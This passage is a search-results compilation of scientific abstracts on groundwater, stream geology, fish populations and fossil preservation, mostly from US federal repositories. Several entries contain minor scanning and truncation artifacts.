flowed through the Pleistocene marine clay unit, Pleistocene(?) sand unit, or Magothy aquifer. The average age of all ground water discharged to Sag Harbor Cove is about 110 years; the average age of shoreline underflow is about 25 years, and the average age of subsea underflow is about 190 years.Results for the West Neck Bay study area indicate that about 65 percent of the total recharge that enters the system flows westward to West Neck Bay; virtually all of this amount discharges as shoreline underflow, but a negligible percentage discharges as subsea underflow. Virtually all discharge to West Neck Bay has flowed entirely within the upper glacial aquifer, although a minor amount has flowed through the Pleistocene marine clay unit. The average age of shoreline underflow to West Neck Bay is about 15 years, and the average age of subsea underflow is about 1,800 years.Ground water that discharges to streams and the shores represented in the models is mostly relatively young water that has flowed entirely within the shallow zones of the flow systems, whereas ground water that discharges to the subsea-discharge areas is mostly old water that has flowed through the deep zones. Data obtained from these models allows evaluation of each embayment.s vulnerability to contaminants introduced at the water table and can guide the development of source-area-protection strategies for the corresponding watersheds.

Identifying and Quantifying Sources of Fall Chinook Salmon Spawning Gravel to the Snake River in Hells Canyon

NASA Astrophysics Data System (ADS)

Welcker, C. W.; Burke, M.

2015-12-01

The Snake River in Hells Canyon supports a growing population of spawning Fall Chinook Salmon (Oncorhynchus tshawytscha) immediately downstream of the Hells Canyon Complex (HCC) of hydroelectric dams for the last 60 years. The long-term survival of this salmon run depends on the input of spawning gravel (25-150 mm) from local tributaries balancing the losses of spawning gravel through attrition and export out of the reach between the HCC and the Salmon River confluence. We are working to quantify the gravel input of these local tributaries at different time-scales and put this into the context of historical supply and transport. Long-term total sediment production rates of these tributaries estimated through various methods have varied by over 2 orders of magnitude, but we have recently completed 10Be work to constrain these estimates. We are measuring the change in storage of Fall Chinook spawning-size gravel through repeat multibeam echosounder surveys of the riverbed. The limited amount of repeat data collected to date has shown complex patterns of change in the riverbed. One possible driver of this complexity is the episodic and spatially variable nature of sediment inputs from these tributaries. We are attempting to quantify the frequency of the debris flows or floods capable of transporting spawning gravel through digitizing historic imagery of the last 60 years to determine the recurrence interval. We are measuring the magnitude of these events by surveying tributary fans pre and post-event to measure the sediment volume and particle size produced by specific events. These floods and debris flows are driven by extreme rainfall or snowmelt events, so we have also reconstructed historical meteorological conditions to identify the triggering conditions for transport, and identify the areas where snowmelt or rainfall is the more likely trigger. We are currently testing whether the unique bedrock geology of Hells Canyon can be used as a tracer to identify the source areas and downstream transport of sediment in the canyon. While the HCC has trapped gravel transported from the Snake River immediately upstream, this input has been quite low due to particle attrition across long transport distances and low transport capacity of the reach just upstream of the HCC.

Tributary use by imperiled Flannelmouth and Bluehead Suckers in the upper Colorado River Basin

USGS Publications Warehouse

Fraser, Gregory S.; Winkelman, Dana L.; Bestgen, Kevin R.; Thompson, Kevin G.

2017-01-01

Habitat alterations and establishment of nonnative fishes have reduced the distributions of Flannelmouth Sucker Catostomus latipinnis and Bluehead Sucker C. discobolus to less than 50% of their historical ranges in the Colorado River basin. Tributaries are sometimes less altered than main-stem habitat in the basin and may be important to support various life history processes, but their role in the maintenance of Flannelmouth Sucker and Bluehead Sucker populations is poorly understood. Using mark–recapture techniques, we show tributaries are important habitat for native suckers in the upper Colorado River basin and report three main findings. First, both Flannelmouth and Bluehead suckers likely respond to a thermal cue that initiates spawning movement patterns. Suckers moved into Coal Creek from the White River beginning in mid-May of 2012 and 2013 to spawn. The majority of sucker spawning movements occurred when water temperatures in White River exceeded 11–14°C and those in Coal Creek were 2.5–4°C warmer, while flows varied between years. Second, based on PIT tag detection arrays, 13–45% of suckers showed spawning site fidelity. Sampling only with fyke nets would have resulted in the conclusion that site fidelity by native suckers was only 1–17%, because nets were less efficient at detecting marked fish. Third, most suckers of both species emigrated from Coal Creek within 48 h after being captured while suckers that were detected only via arrays remained resident for 10–12 d. The posthandling flight response we observed was not anticipated and to our knowledge has not been previously reported for these species. Remote PIT tag antenna arrays allowed for a stronger inference regarding movement and tributary use by these species than what could be achieved using just fyke nets. Tributaries are an important part of Flannelmouth Sucker and Bluehead Sucker life history and thus important to conservation strategies for these species.

Preliminary three-dimensional geohydrologic framework of the San Antonio Creek Groundwater Basin, Santa Barbara County, California

NASA Astrophysics Data System (ADS)

Cromwell, G.; Sweetkind, D. S.; O'leary, D. R.

2017-12-01

The San Antonio Creek Groundwater Basin is a rural agricultural area that is heavily dependent on groundwater to meet local water demands. The U.S. Geological Survey (USGS) is working cooperatively with Santa Barbara County and Vandenberg Air Force Base to assess the quantity and quality of the groundwater resources within the basin. As part of this assessment, an integrated hydrologic model that will help stakeholders to effectively manage the water resources in the basin is being developed. The integrated hydrologic model includes a conceptual model of the subsurface geology consisting of stratigraphy and variations in lithology throughout the basin. The San Antonio Creek Groundwater Basin is a relatively narrow, east-west oriented valley that is structurally controlled by an eastward-plunging syncline. Basin-fill material beneath the valley floor consists of relatively coarse-grained, permeable, marine and non-marine sedimentary deposits, which are underlain by fine-grained, low-permeability, marine sedimentary rocks. To characterize the system, surficial and subsurface geohydrologic data were compiled from geologic maps, existing regional geologic models, and lithology and geophysical logs from boreholes, including two USGS multiple-well sites drilled as part of this study. Geohydrologic unit picks and lithologic variations are incorporated into a three-dimensional framework model of the basin. This basin (model) includes six geohydrologic units that follow the structure and stratigraphy of the area: 1) Bedrock - low-permeability marine sedimentary rocks; 2) Careaga Formation - fine to coarse grained near-shore sandstone; 3) Paso Robles Formation, lower portion - sandy-gravely deposits with clay and limestone; 4) Paso Robles Formation, middle portion - clayey-silty deposits; 5) Paso Robles Formation, upper portion - sandy-gravely deposits; and 6) recent Quaternary deposits. Hydrologic data show that the upper and lower portions of the Paso Robles Formation are the primary grou­ndwater-bearing units within the basin, and that the fine-grained layer within this Formation locally restricts vertical groundwater flow.

Variability of intertidal foraminferal assemblages in a salt marsh, Oregon, USA

USGS Publications Warehouse

Milker, Yvonne; Horton, Benjamin P.; Nelson, Alan R.; Engelhart, Simon E.; Witter, Robert C.

2015-01-01

We studied 18 sampling stations along a transect to investigate the similarity between live (rose Bengal stained) foraminiferal populations and dead assemblages, their small-scale spatial variations and the distribution of infaunal foraminifera in a salt marsh (Toms Creek marsh) at the upper end of the South Slough arm of the Coos Bay estuary, Oregon, USA. We aimed to test to what extent taphonomic processes, small-scale variability and infaunal distribution influence the accuracy of sea-level reconstructions based on intertidal foraminifera. Cluster analyses have shown that dead assemblages occur in distinct zones with respect to elevation, a prerequisite for using foraminifera as sea-level indicators. Our nonparametric multivariate analysis of variance showed that small-scale spatial variability has only a small influence on live (rose Bengal stained) populations and dead assemblages. The dissimilarity was higher, however, between live (rose Bengal stained) populations in the middle marsh. We observed early diagenetic dissolution of calcareous tests in the dead assemblages. If comparable post-depositional processes and similar minor spatial variability also characterize fossil assemblages, then dead assemblage are the best modern analogs for paleoenvironmental reconstructions. The Toms Creek tidal flat and low marsh vascular plant zones are dominated by Miliammina fusca, the middle marsh is dominated by Balticammina pseudomacrescens and Trochammina inflata, and the high marsh and upland–marsh transition zone are dominated by Trochamminita irregularis. Analysis of infaunal foraminifera showed that most living specimens are found in the surface sediments and the majority of live (rose Bengal stained) infaunal specimens are restricted to the upper 10 cm, but living individuals are found to depths of 50 cm. The dominant infaunal specimens are similar to those in the corresponding surface samples and no species have been found living solely infaunally. The total numbers of infaunal foraminifera are small compared to the total numbers of dead specimens in the surface samples. This suggests that surface samples adequately represent the modern intertidal environment in Toms Creek.

Structural implications of an offset Early Cretaceous shoreline in northern California

USGS Publications Warehouse

Jones, D.L.; Irwin, W.P.

1971-01-01

Recognition of a nonmarine to marine transition in sedimentary rocks at Glade Creek and Big Bar in the southern Klamath Mountains permits reconstruction of the approximate position of a north-trending Early Cretaceous (Valanginian) shoreline. At the southern end of the Klamath Mountains, the shoreline is displaced 60 mi or more to the east by a west-northwest-trending fault zone. South of this fault zone the shoreline is buried at a much lower level beneath late Cenozoic rocks in the Great Valley. This large displacement probably is the result of differential movement along a system of left-lateral tear faults in the upper plate of the Coast Range thrust. The westward bulge of the Klamath arc also may have resulted from this faulting, as the amount and direction of the bulge is comparable with the displacement of the Valanginian shoreline.Basal clastic strata at both Glade Creek and Big Bar contain abundant fresh-water or brackish-water clams, many of which consist of unabraded paired valves. These are conformably overlain by Valanginian marine strata containing Buchia crassicollis solida.The position of the Valanginian shoreline beneath the Great Valley cannot be directly observed because it is buried by thick late Cenozoic deposits. However, its approximate westernmost limit must lie between the outcrop belt of marine strata on the west side of the valley and drill holes to basement on the east side, in which equivalent strata are absent.Franciscan rocks containing Valanginian fossils occur 10 mi southwest of Glade Creek, but these are deep-water marine eugeosynclinal rocks that were deposited far to the west of the shoreline. The deformation responsible for the displacement of the Valanginian shoreline and juxtaposition of the Franciscan rocks and Klamath Mountain basement rocks involved eastward under-thrusting of the Franciscan beneath the Coast Range thrust contemporaneous with differential movement along tear faults within the upper plate.

Paired Magnetic Susceptibility Cyclostratigraphy and Revised Magnetostratigraphy with Late Cretaceous Euler Pole from Forbes Formation, Sand Creek, Sacramento Valley, California

NASA Astrophysics Data System (ADS)

Slotznick, S. P.; Raub, T.; Mitchell, R. N.; Ward, P. D.; Kirschvink, J. L.

2012-12-01

Magnetostratigraphy in Upper Cretaceous rocks of Sacramento Valley has successfully complemented biostratigraphy for correlating between circum-Pacific basins. Most paleomagnetic measurements were done pre-1990 using alternating field demagnetization only, due to oxidation accompanying thermal demagnetization. We present paleomagnetic data collected via thermal demagnetization in a flowing nitrogen atmosphere from 223 cores collected over a 130m of section of Forbes Formation in Sand Creek, CA spanning upper Dobbins Shale, Forbes Unit 2 and lower Unit 3. These results uniformly indicate Reversed Chron 33R, contra previously published magnetostratigraphy of the area (Ward et al. 1983, Verosub et al. 1989). Additionally, these paleomagnetic results yield a tightly-constrained paleolatitude for Forbes Formation of 31±3°, which varies significantly from previous APWP models ca. 83 Ma (Besse and Courtillot, 2002) suggesting an unaccounted-for deficiency in reconstructions of North America at this time. This discrepancy might indicate an inaccurate cratonic reference pole, underestimated intrabatholithic or distributed plate boundary deformation, and/or true polar wander. As opposed to other units yielding anomalous late Cretaceous paleolatitudes from outboard terranes, Forbes Formation in Sacramento Valley laps unambiguously onto the North American continent. A 25m AW34 core was collected using a Winkie drillrig near the top of Dobbins Shale Mbr. Paleomagnetic measurements on subsamples from the Winkie core, unaffected by surface weathering, combine with the surficial dataset, and we propose a new set of Euler pole solutions potentially quantifying Basin and Range extension and late Cretaceous intra-Sierran shear. Through magnetic susceptibility measurements of the Winkie core, we were able to resolve orbital cycles which, paired with rock magnetic measurements, constrain basin subsidence and sedimentation rate off the Sierran arc at its age of termination. Re-visiting Sand Creek and other Cretaceous sites with improved paleomagnetic techniques, instruments, and equipment can add significant information to our understanding of late Cretaceous time.

Montane wetland water chemistry, Uinta Mountains, Utah

NASA Astrophysics Data System (ADS)

Severson, K. S.; Matyjasik, M.; Ford, R. L.; Hernandez, M. W.; Welsh, S. B.; Summers, S.; Bartholomew, L. M.

2009-12-01

This study attempts to determine the relationship between surface and groundwater chemistry and wetland characteristics within the Reader Lakes watershed, Uinta Mountains. The dominant rock type in the study area is quartz sandstone of the Hades Pass formation, Unita Mountain Group (Middle Proterozoic). Minor amounts of interbedded arkose and illite-bearing shale are also present. Water chemistry data have been collected from more than one hundred locations during the 2008 and 2009 summer seasons. The Reader Creek watershed is approximately 9.8 km long and about 3.5 km wide in the central portion of the basin. Direct precipitation is the primary source of groundwater recharge and the area is typically covered by snow from November until May. Four distinct wetland complexes, designated as the upper, middle, lower and the sloping fen, constitute the major wetland environments in the study area. The chemistry of the melt water from the high-elevation snowfield is affected by weathering of incorporated atmospheric dust and surface rocks. Total dissolved solids in both years were between 7 and 9 mg/L. Major anions include HCO3 (averaging 4.0 mg/L), SO4 (1.3 mg/L), NO3 (0.9 mg/L), Cl (0.8 mg/L), F (0.07 mg/L), PO4 (0.03 mg/L), and Br(0.015 mg/L). Major cations include Na (1.1 mg/L), Ca (1.0 mg/L), K (0.28 mg/L), and Mg (0.15 mg/L). Groundwater concentrations in the lower meadow, as measured in piezomters, are distinctly different, with the following maximum concentrations of anions: HCO3 (36.7 mg/L), SO4 (5.0 mg/L), Cl (3.4 mg/L), NO3 (0.9 mg/L), PO4 (0.28 mg/L), F (0.23 mg/L), Br (0.12 mg/L), and cations: Ca (22 mg/L), Na (4.6 mg/L), Mg (3.4 mg/L), and K (1.8 mg/L)- with a maximum value of 83 mg/L for total dissolved solids. Waters in Reader Creek, the main trunk channel, are typically sodium-potassium and sodium -potassium bicarbonate, with some calcium-bicarbonate, mostly in the middle part of the watershed. Groundwater from springs is sodium-potassium in the upper part of the watershed, gradually changing to bicarbonate in the lower part of the watershed. The creek water also show a relatively small increase in total dissolved solids from 10 mg/L in the upper basin to 18 mg/L in the lower basin. Dissolved oxygen, potassium, and chlorides also decrease along the creek flow path, while calcium and sulfates increase. Values of pH fluctuate more along the length of the channel as the creek receives water discharging from the wetlands. An interesting geomorphic characteristic of these montane wetlands is a distinctive compartmentalization by a system of peaty flarks and strings, typically oriented perpendicular to the direction of surface-water flow. Water samples collected from piezometers contain much higher concentrations of all ions compared to surface-water samples from the flarks. It is believed that deeper portions of the peat work as highly isolated flow cells, storing water for an extended period of time, resulting in locally increased ionic concentrations. Future work will attempt to clarify and test this hypothesis.

Grounds Conservation Management Plan (1982-1991), Fish and Wildlife Management Plan (1982-1991), Forest Resource Management Plan (1979-1988).

DTIC Science & Technology

1985-06-01

necessary for complete control. The third weed group includes purslane , spotted spurge and knotweed. These weeds may be controlled with dicamba. [j 4...of marsh communities varies with salinity gradients fron brackish to fresh waters. Hideaway Pond has a completely fresh water marsh (no tidal...or pocket marshes convolute the shoreline of Tetotum Flats along Upper Machodoc Creek. Species composition varies with salinity and those pockets

Water-level conditions in the Black Creek and upper Cape Fear aquifers, 1992, in parts of Bladen and Robeson counties, North Carolina

USGS Publications Warehouse

Strickland, Alfred Gerald

1994-01-01

Water-level measurements were made in 68 wells throughout an area of about 860 square miles in Bladen and Robeson Counties, North Carolina, during September and October 1992. Water levels from 58 wells were used to determine the configuration of the potentiometric surface of the Black Creek aquifer. A map of the potentiometric surface shows the potential for ground water to flow from recharge areas in the local uplands to discharge areas, such as local streams and wells. Pumping from wells at major pumping centers, such as Elizabethtown in Bladen County and Lumberton in Robeson County, where water-level declines of more than 12 feet were recorded from 1988 to 1992, has resulted in cones of depression in the potentiometric surface. The cones were about 4 and 6 miles long across the major axes beneath the Elizabethtown and Lumberton areas, respectively, in 1992. Water levels measured in eight wells in 1988 and 1992, supplemented with water levels in two additional wells from driller's well- construction records, were used to estimate average yearly rates of ground-water change for the upper Cape Fear aquifer for part of the study area. During 1988-92, water-level declines occurred in the aquifer throughout much of the area as a result of pumping. The greatest decline, an average of 4.1 feet per year, was in Bladen County.

Targeting land-use change for nitratenitrogen load reductions in an agricultural watershed

USGS Publications Warehouse

Jha, M.K.; Schilling, K.E.; Gassman, Philip W.; Wolter, C.F.

2010-01-01

The research was conducted as part of the USDA's Conservation Effects Assessment Project. The objective of the project was to evaluate the environmental effects of land-use changes, with a focus on understanding how the spatial distribution throughout a watershed influences their effectiveness.The Soil and Water AssessmentTool (SWAT) water quality model was applied to the Squaw Creek watershed, which covers 4,730 ha (11,683 ac) of prime agriculture land in southern Iowa. The model was calibrated (2000 to 2004) and validated (1996 to 1999) for overall watershed hydrology and for streamflow and nitrate loadings at the watershed outlet on an annual and monthly basis. Four scenarios for land-use change were evaluated including one scenario consistent with recent land-use changes and three scenarios focused on land-use change on highly erodible land areas, upper basin areas, and floodplain areas. Results for the Squaw Creek watershed suggested that nitrate losses were sensitive to land-use change. If land-use patterns were restored to 1990 conditions, nitrate loads may be reduced 7% to 47% in the watershed and subbasins, whereas converting row crops to grass in highly erodible land, upper basin, and floodplain areas would reduce nitrate loads by 47%, 16%, and 8%, respectively. These SWAT model simulations can provide guidance on how to begin targeting land-use change for nitrate load reductions in agricultural watersheds.

Evaluation of fish kills during November 1986 and July 1987 in upper East Fork Poplar Creek near the Y-12 Plant

DOE Office of Scientific and Technical Information (OSTI.GOV)

Ryon, M.G.; Loar, J.M.; Southworth, G.R.

1990-09-01

The Environmental Sciences Division (ESD) investigated two fish kills that occurred on November 21, 1986, and July 9, 1987, in upper East Fork Poplar Creek at the outfall of New Hope Pond (NHP) below the Oak Ridge Y-12 Plant. Investigative procedures included sampling of water at the inlet and outfall of NHP for water quality, examination of operating procedures at the Y-12 Plant and in the biomonitoring program that may have adversely affected the fish populations, review of results of concurrent ambient toxicity tests of the inlet and outfall water of NHP, autopsy investigations of the cause of death ofmore » the stonerollers, and laboratory experimentation to evaluate potential causes. The investigations revealed that the cause of death was bacterial hemorrhagic septicemia caused by Aeromonas hydrophila, which is a stress-mediated disease. The specific stressor responsible for the outbreak of the disease was not identified. Several possible stresses were indicated, including elevated concentrations of mercury and chlorine, excessive electroshocking activity, and elevated levels of the pathogen. Cumulative stress due to the combination of several factors was also suggested. Elevated temperatures and overcrowding may have enhanced the spread of the epizootic but were not the primary causes. The impact on the stoneroller population below NHP was not ecologically significant. 23 refs., 3 figs., 12 tabs.« less

Ichthyoplankton entrainment study at the SRS Savannah River water intakes for Westinghouse Savannah River Company

DOE Office of Scientific and Technical Information (OSTI.GOV)

Paller, M.

1992-03-26

Cooling water for L and K Reactors and makeup water for Par Pond is pumped from the Savannah River at the 1G, 3G, and 5G pump houses. Ichthyoplankton (drifting fish larvae and eggs) from the river are entrained into the reactor cooling systems with the river water and passed through the reactor's heat exchangers where temperatures may reach 70[degrees]C during full power operation. Ichthyoplankton mortality under such conditions is assumed to be 100 percent. The number of ichthyoplankton entrained into the cooling system depends on a variety of variables, including time of year, density and distribution of ichthyoplankton in themore » river, discharge levels in the river, and the volume of water withdrawn by the pumps. Entrainment at the 1 G pump house, which is immediately downstream from the confluence of Upper Three Runs Creek and the Savannah River, is also influenced by discharge rates and ichthyoplankton densities in Upper Three Runs Creek. Because of the anticipated restart of several SRS reactors and the growing concern surrounding striped bass and American shad stocks in the Savannah River, the Department of Energy requested that the Environmental Sciences Section (ESS) of the Savannah River Laboratory sample ichthyoplankton at the SRS Savannah River intakes. Dams Moore, Inc., under a contract with Westinghouse Savannah River Company performed the sampling and data analysis for the ESS.« less

Influence of Microbial Biofilms on the Preservation of Primary Soft Tissue in Fossil and Extant Archosaurs

PubMed Central

Peterson, Joseph E.; Lenczewski, Melissa E.; Scherer, Reed P.

2010-01-01

Background Mineralized and permineralized bone is the most common form of fossilization in the vertebrate record. Preservation of gross soft tissues is extremely rare, but recent studies have suggested that primary soft tissues and biomolecules are more commonly preserved within preserved bones than had been presumed. Some of these claims have been challenged, with presentation of evidence suggesting that some of the structures are microbial artifacts, not primary soft tissues. The identification of biomolecules in fossil vertebrate extracts from a specimen of Brachylophosaurus canadensis has shown the interpretation of preserved organic remains as microbial biofilm to be highly unlikely. These discussions also propose a variety of potential mechanisms that would permit the preservation of soft-tissues in vertebrate fossils over geologic time. Methodology/Principal Findings This study experimentally examines the role of microbial biofilms in soft-tissue preservation in vertebrate fossils by quantitatively establishing the growth and morphology of biofilms on extant archosaur bone. These results are microscopically and morphologically compared with soft-tissue extracts from vertebrate fossils from the Hell Creek Formation of southeastern Montana (Latest Maastrichtian) in order to investigate the potential role of microbial biofilms on the preservation of fossil bone and bound organic matter in a variety of taphonomic settings. Based on these analyses, we highlight a mechanism whereby this bound organic matter may be preserved. Conclusions/Significance Results of the study indicate that the crystallization of microbial biofilms on decomposing organic matter within vertebrate bone in early taphonomic stages may contribute to the preservation of primary soft tissues deeper in the bone structure. PMID:20967227

An Agent-based Model for Groundwater Allocation and Management at the Bakken Shale in Western North Dakota

NASA Astrophysics Data System (ADS)

Lin, T.; Lin, Z.; Lim, S.

2017-12-01

We present an integrated modeling framework to simulate groundwater level change under the dramatic increase of hydraulic fracturing water use in the Bakken Shale oil production area. The framework combines the agent-based model (ABM) with the Fox Hills-Hell Creek (FH-HC) groundwater model. In development of the ABM, institution theory is used to model the regulation policies from the North Dakota State Water Commission, while evolutionary programming and cognitive maps are used to model the social structure that emerges from the behavior of competing individual water businesses. Evolutionary programming allows individuals to select an appropriate strategy when annually applying for potential water use permits; whereas cognitive maps endow agent's ability and willingness to compete for more water sales. All agents have their own influence boundaries that inhibit their competitive behavior toward their neighbors but not to non-neighbors. The decision-making process is constructed and parameterized with both quantitative and qualitative information, i.e., empirical water use data and knowledge gained from surveys with stakeholders. By linking institution theory, evolutionary programming, and cognitive maps, our approach addresses a higher complexity of the real decision making process. Furthermore, this approach is a new exploration for modeling the dynamics of Coupled Human and Natural System. After integrating ABM with the FH-HC model, drought and limited water accessibility scenarios are simulated to predict FH-HC ground water level changes in the future. The integrated modeling framework of ABM and FH-HC model can be used to support making scientifically sound policies in water allocation and management.

Influence of microbial biofilms on the preservation of primary soft tissue in fossil and extant archosaurs.

PubMed

Peterson, Joseph E; Lenczewski, Melissa E; Scherer, Reed P

2010-10-12

Mineralized and permineralized bone is the most common form of fossilization in the vertebrate record. Preservation of gross soft tissues is extremely rare, but recent studies have suggested that primary soft tissues and biomolecules are more commonly preserved within preserved bones than had been presumed. Some of these claims have been challenged, with presentation of evidence suggesting that some of the structures are microbial artifacts, not primary soft tissues. The identification of biomolecules in fossil vertebrate extracts from a specimen of Brachylophosaurus canadensis has shown the interpretation of preserved organic remains as microbial biofilm to be highly unlikely. These discussions also propose a variety of potential mechanisms that would permit the preservation of soft-tissues in vertebrate fossils over geologic time. This study experimentally examines the role of microbial biofilms in soft-tissue preservation in vertebrate fossils by quantitatively establishing the growth and morphology of biofilms on extant archosaur bone. These results are microscopically and morphologically compared with soft-tissue extracts from vertebrate fossils from the Hell Creek Formation of southeastern Montana (Latest Maastrichtian) in order to investigate the potential role of microbial biofilms on the preservation of fossil bone and bound organic matter in a variety of taphonomic settings. Based on these analyses, we highlight a mechanism whereby this bound organic matter may be preserved. Results of the study indicate that the crystallization of microbial biofilms on decomposing organic matter within vertebrate bone in early taphonomic stages may contribute to the preservation of primary soft tissues deeper in the bone structure.

Ground-water resources of McKenzie County, North Dakota. Part III

DOE Office of Scientific and Technical Information (OSTI.GOV)

Croft, M.G.

Ground water suitable for domestic and livestock supplies in McKenzie County is available from three aquifer systems in semiconsolidated rocks of Late Cretaceous and Tertiary age. Ground water from aquifers in unconsolidated sand and gravel of Quaternary age is suitable for domestic, livestock, municipal, industrial, and irrigation uses. Rocks older than Late Cretaceous age extend to 15,000 feet (4572 meters) and generally contain brackish water that is unsuitable for most purposes. The Fox Hills and basal Hell Creek aquifer system is used as a source for livestock and domestic supplies. It generally is 1100 to 1800 feet (335 to 549more » meters) in depth, and the transmissivity is 200 to 300 feet squared per day (19 to 28 meters squared per day). The water is lower in dissolved solids than water in overlying aquifers of Tertiary age and has a median dissolved-solids concentration of about 1325 milligrams per liter. Wells may yield 100 gallons per minute (6.3 liters per second). Six aquifers, each consisting of 50 to 176 feet (15 to 54 meters) of unconsolidated sand and gravel of Quaternary age, occur in McKensie County. The sand and gravel could yield 100 to more than 500 gallons per minute (6.3 to 32 liters per second). The water from four of the aquifers generally is a sodium bicarbonate type and has a median dissolved-solids concentration of 1100 to 2330 milligrams per liter. Water from the Charbonneau, Tobacco Garden, and Yellowstone-Missouri aquifers is suitable for irrigation. 26 figs., 9 tabs.« less

Geology and ground-water hydrology of the Heart River irrigation project and the Dickinson area, North Dakota, with a section on the mineral quality of waters of the Heart River project

USGS Publications Warehouse

Tychsen, Paul C.; Swenson, Herbert A.

1950-01-01

The Heart River irrigation project, in southwestern North Dakota, lies in the Missouri Plateau section of the Great Plains physiographic province, which extends from the Missouri escarpment to and beyond the western border of the State. The area ranges in altitude from 1,620 to 2,275 feet and locally has strong relief. The floor of the Heart River Valley is underlain by alluvial deposits of Quaternary age. In the westernmost part of the areas the Fort Union formation of Paleocene (Tertiary) age forms the valley sides, but in a downstream direction the Cannonball and Ludlow formations, here undifferentiated, also of Paleocene age, crop out in the valley sides and underlie progressively broader areas of the upland surface. The Hell Creek formation of Upper Cretaceous age appears above stream level only in the stretch of the valley between the center of T. 136 N., R. 85 W., and the northeastern part of T.. 137 N., R. 84 W. Glacial Drift, which once covered the whole area, now has been almost entirely removed by erosion except for .scattered boulders on the uplands. The Cannonball and Ludlow unit and the Fort Union formation yield, moderate supplies of ground water, and the river alluvium yields more abundant supplies. At the present rate of withdrawal and with normal precipitation there is little danger of seriously depleting the supply. In 1946 the average depth to water in observation wells in the Heart River Valley was 19 feet, whereas the depth to water in observation wells in the upland averaged 30 feet. The Dickinson area is small and is about 45 miles upstream from the Heart River irrigation project. Ground-water levels in the Dickinson municipal well field have declined considerably within recent years, but the impounding of Heart River water is expected to insure a more adequate water supply for the town. Samples of ground water from four wells in the lower Heart River Valley were analyzed to determine the present mineral character of the waters in this region. Waters from shallow and deep wells in the Dickinson area were analyzed to assist in determining the practicability of further utilization of ground water as a public supply. A map showing areas of the least-mineralized ground water in the Dickinson area is presented and the need of further exploratory work is discussed.

Steelhead Supplementation in Idaho Rivers : 2001 Project Progress Report.

DOE Office of Scientific and Technical Information (OSTI.GOV)

Byrne, Alan

In 2001, Idaho Department of Fish and Game (IDFG) continued an assessment of the Sawtooth Hatchery steelhead Oncorhynchus mykiss stock to reestablish natural populations in Beaver and Frenchman creeks in the upper Salmon River. Crews stocked both streams with 20 pair of hatchery adults, and I estimated the potential smolt production from the 2000 adult outplants. n the Red River drainage, IDFG stocked Dworshak hatchery stock fingerlings and smolts from 1993 to 1999 to assess which life stage produces more progeny when the adults return to spawn. In 2001, IDFG operated the Red River weir to trap adults that returnedmore » from these stockings, but none were caught from either group. Wild steelhead populations in the Lochsa and Selway river drainages were assessed and the chinook salmon Oncorhynchus tshawytscha escapement was enumerated in Fish Creek. I estimated that 75 wild adult steelhead and 122 adult chinook salmon returned to Fish Creek in 2001. I estimated that slightly more than 30,000 juvenile steelhead migrated out of Fish Creek. This is the largest number of steelhead to migrate out of Fish Creek in a single year since I began estimating the yearly migration in 1994. Juvenile steelhead densities in Lochsa and Selway tributaries were somewhat higher in 2001 than those observed in 2000. Crews from IDFG collected over 4,800 fin samples from wild steelhead in 74 streams of the Clearwater, Snake, and Salmon river drainages and from five hatchery stocks during the summer of 2000 for a DNA analysis to assess Idaho's steelhead stock structure. The DNA analysis was subcontracted to Dr. Jennifer Nielsen, Alaska Biological Science Center, Anchorage. Her lab developed protocols to use for the analysis in 2001 and is continuing to analyze the samples. Dr. Nielsen plans to have the complete set of wild and hatchery stocks analyzed in 2002.« less

Volcanic Stratigraphy of the Quaternary Rhyolite Plateau in Yellowstone National Park

USGS Publications Warehouse

Christiansen, Robert L.; Blank, H. Richard

1972-01-01

The volcanic sequence of the Quaternary Yellowstone plateau consists of rhyolites and basalts representing three volcanic cycles. The major events of each cycle were eruption of a voluminous ash-flow sheet and formation of a large collapse caldera. Lesser events of each cycle were eruption of precaldera and postcaldera rhyolitic lava flows and marginal basaltic lavas. The three major ash-flow sheets are named and designated in this report as formations within the Yellowstone Group. The lavas are assigned to newly named formations organized around the three ash-flow sheets of the Yellowstone Group to represent the volcanic cycles. Rocks of the first volcanic cycle comprise the precaldera Junction Butte Basalt and rhyolite of Broad Creek; the Huckleberry Ridge Tuff of the Yellowstone Group; and the postcaldera Lewis Canyon Rhyolite and basalt of The Narrows. Rocks of the second volcanic cycle do not crop out within Yellowstone National Park, and only the major unit, the Mesa Falls Tuff of the Yellowstone Group, is named here. The third volcanic cycle is represented by the precaldera Mount Jackson Rhyolite and Undine Falls Basalt; the Lava Creek Tuff of the Yellowstone Group; and the postcaldera Plateau Rhyolite and five post-Lava Creek basaltic sequences. Collapse to form the compound and resurgent Yellowstone caldera was related to eruption of the Lava Creek Tuff. The Plateau Rhyolite is divided into six members - the Mallard Lake, Upper Basin, Obsidian Creek, Central Plateau, Shoshone Lake Tuff, and Roaring Mountain Members; all but the Mallard Lake postdate resurgent doming of the caldera. The basalts are divided into the Swan Lake Flat Basalt, Falls River Basalt, basalt of Mariposa Lake, Madison River Basalt, and Osprey Basalt. Sediments are intercalated in the volcanic section below the Huckleberry Ridge and Mesa Falls Tuffs and within the Junction Butte Basalt, sediments and basalts of The Narrows, Undine Falls Basalt, Plateau Rhyolite, and Osprey Basalt.

Y-12 Groundwater Protection Program Groundwater and Surface Water Sampling and Analysis Plan for Calendar Year 2004

DOE Office of Scientific and Technical Information (OSTI.GOV)

Elvado Environmental LLC for the Environmental Compliance Department ES&H Division, Y-12 National Security Complex Oak Ridge, Tennessee

2003-09-30

This plan provides a description of the groundwater and surface water quality monitoring activities planned for calendar year (CY) 2004 at the U.S. Department of Energy (DOE) Y-12 National Security Complex that will be managed by the Y-12 Groundwater Protection Program (GWPP). Groundwater and surface water monitoring performed by the GWPP during CY 2004 will be in accordance with the following requirements of DOE Order 5400.1: (1) to maintain surveillance of existing and potential groundwater contamination sources; (2) to provide for the early detection of groundwater contamination and determine the quality of groundwater and surface water where contaminants are mostmore » likely to migrate beyond the Oak Ridge Reservation property line; (3) to identify and characterize long-term trends in groundwater quality at Y-12; and (4) to provide data to support decisions concerning the management and protection of groundwater resources. Groundwater and surface water monitoring during CY 2004 will be performed primarily in three hydrogeologic regimes at Y-12: the Bear Creek Hydrogeologic Regime (Bear Creek Regime), the Upper East Fork Poplar Creek Hydrogeologic Regime (East Fork Regime), and the Chestnut Ridge Hydrogeologic Regime (Chestnut Ridge Regime). The Bear Creek and East Fork regimes are located in Bear Creek Valley, and the Chestnut Ridge Regime is located south of Y-12 (Figure A.1). Additional surface water monitoring will be performed north of Pine Ridge, along the boundary of the Oak Ridge Reservation (Figure A.1). Modifications to the CY 2004 monitoring program may be necessary during implementation. Changes in programmatic requirements may alter the analytes specified for selected monitoring wells, or wells could be added or removed from the planned monitoring network. All modifications to the monitoring program will be approved by the Y-12 GWPP manager and documented as addenda to this sampling and analysis 